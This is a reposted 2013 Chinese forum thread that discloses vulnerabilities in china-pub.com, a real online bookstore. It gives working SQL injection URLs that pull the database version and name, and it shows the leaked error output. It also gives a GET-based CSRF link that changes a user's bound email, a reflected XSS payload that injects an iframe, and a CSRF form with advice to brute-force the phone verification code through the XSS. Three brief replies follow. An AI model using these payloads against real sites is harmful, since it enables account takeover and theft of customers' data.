admin 发表于 2013-4-29 20:12:58

中国互动出版网SQL注入漏洞、csrf修改绑定邮箱、反射型xss

中国互动出版网SQL注入漏洞、csrf修改绑定邮箱、反射型xss
灰鸽子本文转载。
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
May 3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

GET请求CSRF:
http://www.china-pub.com/member/mypub2010/user/userchanges_ajax.asp?act=yzemail&email=yourmail@qq.com

XSS:
http://www.china-pub.com/member/mypub2010/user/ver_tel.asp?mobile=&yzm=%22%3E%3Ciframe%20src=http://g.cn%3E

绑定手机号CSRF,发送验证码的操作可以通过XSS调用:

<form action="http://www.china-pub.com/member/mypub2010/user/ver_tel.asp" method="post">
<input name="ym" value="3124"/>
<input name="yz" value="2"/>
<input name="x" value="65"/>
<input name="y" value="26" type="submit"/>
</form>
利用上面的XSS从1-10000头到尾POST一遍估计就出来了
漏洞证明:http://member.china-pub.com/Car/OrderDetail.aspx?o=4206136 and 1=(select @@VERSION)
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
May 3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

http://member.china-pub.com/Car/OrderDetail.aspx?o=4206136 And 1=(select db_name())
dbinfo

http://member.china-pub.com/Car/OrderDetail.aspx?y=2013&s=5&o=4206136%20OR%204206137%22--

字符串 '-- and member='awsotr' order by cpub_shopping_member_info.orderid desc' 之前有未闭合的引号。
第 1 行: '-- and member='awsotr' order by cpub_shopping_member_info.orderid desc' 附近有语法错误。
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: 字符串 '-- and member='awsotr' order by cpub_shopping_member_info.orderid desc' 之前有未闭合的引号。
第 1 行: '-- and member='awsotr' order by cpub_shopping_member_info.orderid desc' 附近有语法错误。

282198284 发表于 2013-5-3 00:15:41

是什么??????????????

282198284 发表于 2013-5-3 00:16:12

看不懂!!!!

1013297717 发表于 2013-5-13 18:11:28

不错,很给力呀!
页: [1]
查看完整版本: 中国互动出版网SQL注入漏洞、csrf修改绑定邮箱、反射型xss